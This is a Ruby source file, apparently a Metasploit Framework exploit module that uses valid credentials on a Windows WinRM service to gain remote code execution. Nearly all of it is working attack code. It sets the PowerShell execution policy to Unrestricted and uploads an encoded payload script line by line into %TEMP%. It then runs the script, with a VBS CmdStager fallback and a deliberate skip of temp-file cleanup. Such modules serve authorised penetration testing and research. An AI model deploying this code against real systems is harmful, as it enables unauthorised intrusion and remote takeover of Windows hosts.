249 lines
6.8 KiB
Ruby
249 lines
6.8 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ManualRanking
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include Msf::Exploit::Remote::WinRM
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include Msf::Exploit::CmdStagerVBS
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'WinRM Script Exec Remote Code Execution',
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'Description' => %q{
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This module uses valid credentials to login to the WinRM service
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and execute a payload. It has two available methods for payload
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delivery: Powershell 2.0 and VBS CmdStager.
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The module will check if Powershell 2.0 is available, and if so uses
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that method. Otherwise it falls back to the VBS Cmdstager which is
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less stealthy.
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IMPORTANT: If targeting an x64 system with the Powershell method
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you MUST select an x64 payload. An x86 payload will never return.
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},
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'Author' => [ 'thelightcosine' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'URL', 'http://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx' ],
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'WfsDelay' => 30,
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'EXITFUNC' => 'thread',
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'InitialAutoRunScript' => 'post/windows/manage/smart_migrate',
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},
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'Platform' => 'win',
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'Arch' => [ ARCH_X86, ARCH_X86_64 ],
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'Targets' =>
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[
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[ 'Windows', { } ],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Nov 01 2012'
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))
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register_options(
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[
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OptBool.new('FORCE_VBS', [ true, 'Force the module to use the VBS CmdStager', false]),
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OptString.new('USERNAME', [ true, 'A specific username to authenticate as' ]),
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OptString.new('PASSWORD', [ true, 'A specific password to authenticate with' ]),
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], self.class
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)
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register_advanced_options(
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[
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OptString.new( 'DECODERSTUB', [ true, 'The VBS base64 file decoder stub to use.',
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File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64_sleep")]),
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], self.class)
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@compat_mode = false
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end
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def exploit
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unless valid_login?
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print_error "Login Failure. Recheck your credentials"
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return
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end
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if powershell2?
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path = upload_script
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return if path.nil?
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exec_script(path)
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else
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execute_cmdstager
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end
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handler
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end
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def execute_command(cmd,opts)
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commands = cmd.split(/&/)
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commands.each do |command|
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if command.include? "cscript"
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streams = winrm_run_cmd_hanging(command)
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print_status streams.inspect
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elsif command.include? "del %TEMP%"
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next
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else
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winrm_run_cmd(command)
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end
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end
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end
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def upload_script
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tdir = temp_dir
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return if tdir.nil?
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path = tdir + "\\" + ::Rex::Text.rand_text_alpha(8) + ".ps1"
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print_status "Uploading powershell script to #{path} (This may take a few minutes)..."
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script = Msf::Util::EXE.to_win32pe_psh(framework,payload.encoded)
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#add a sleep to the script to give us enoguh time to establish a session
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script << "\n Start-Sleep -s 600"
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script.each_line do |psline|
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#build our psh command to write out our psh script, meta eh?
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script_line = "Add-Content #{path} '#{psline.chomp}' "
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cmd = encoded_psh(script_line)
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streams = winrm_run_cmd(cmd)
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end
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return path
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end
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def exec_script(path)
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print_status "Attempting to execute script..."
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cmd = "#{@invoke_powershell} -File #{path}"
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winrm_run_cmd_hanging(cmd)
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end
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def encoded_psh(script)
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script = script.chars.to_a.join("\x00").chomp
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script << "\x00" unless script[-1].eql? "\x00"
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script = Rex::Text.encode_base64(script).chomp
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cmd = "#{@invoke_powershell} -encodedCommand #{script}"
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end
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def temp_dir
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print_status "Grabbing %TEMP%"
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resp = send_winrm_request(winrm_open_shell_msg)
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if resp.nil?
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print_error "Got no reply from the server"
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return nil
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end
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unless resp.code == 200
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print_error "Got unexpected response: \n #{resp.to_s}"
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return nil
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end
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shell_id = winrm_get_shell_id(resp)
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cmd = "echo %TEMP%"
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resp = send_winrm_request(winrm_cmd_msg(cmd, shell_id))
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cmd_id = winrm_get_cmd_id(resp)
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resp = send_winrm_request(winrm_cmd_recv_msg(shell_id,cmd_id))
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streams = winrm_get_cmd_streams(resp)
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return streams['stdout'].chomp
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end
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def check_remote_arch
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wql = %q{select AddressWidth from Win32_Processor where DeviceID="CPU0"}
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resp = send_winrm_request(winrm_wql_msg(wql))
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#Default to x86 if we can't be sure
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return "x86" if resp.nil? or resp.code != 200
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resp_tbl = parse_wql_response(resp)
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addr_width = resp_tbl.rows.flatten[0]
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if addr_width == "64"
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return "x64"
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else
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return "x86"
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end
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end
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def correct_payload_arch?
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@target_arch = check_remote_arch
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case @target_arch
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when "x64"
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unless datastore['PAYLOAD'].include? "x64"
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print_error "You selected an x86 payload for an x64 target...trying to run in compat mode"
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@compat_mode = true
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return false
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end
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when "x86"
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if datastore['PAYLOAD'].include? "x64"
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print_error "you selected an x64 payload for an x86 target"
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return false
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end
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end
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return true
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end
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def powershell2?
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if datastore['FORCE_VBS']
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print_status "User selected the FORCE_VBS option"
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return false
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end
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print_status "checking for Powershell 2.0"
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streams = winrm_run_cmd("powershell Get-Host")
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if streams == 401
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print_error "Login failed!"
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return false
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end
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unless streams.class == Hash
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print_error "Recieved error while running check"
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return false
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end
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if streams['stderr'].include? "not recognized"
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print_error "Powershell is not installed"
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return false
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end
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streams['stdout'].each_line do |line|
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next unless line.start_with? "Version"
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major_version = line.match(/\d(?=\.)/)[0]
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if major_version == "1"
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print_error "The target is running an older version of powershell"
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return false
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end
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end
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return false unless correct_payload_arch? or @target_arch == "x64"
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if @compat_mode == true
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@invoke_powershell = "%SYSTEMROOT%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe"
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else
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@invoke_powershell = "powershell"
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end
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print_status "Attempting to set Execution Policy"
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streams = winrm_run_cmd("#{@invoke_powershell} Set-ExecutionPolicy Unrestricted")
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if streams == 401
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print_error "Login failed!"
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return false
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end
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unless streams.class == Hash
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print_error "Recieved error while running check"
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return false
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end
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streams = winrm_run_cmd("#{@invoke_powershell} Get-ExecutionPolicy")
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if streams['stdout'].include? 'Unrestricted'
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print_good "Set Execution Policy Successfully"
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return true
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end
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return false
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end
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def valid_login?
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data = winrm_wql_msg("Select Name,Status from Win32_Service")
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resp = send_winrm_request(data)
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unless resp.code == 200
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return false
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end
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return true
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end
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end
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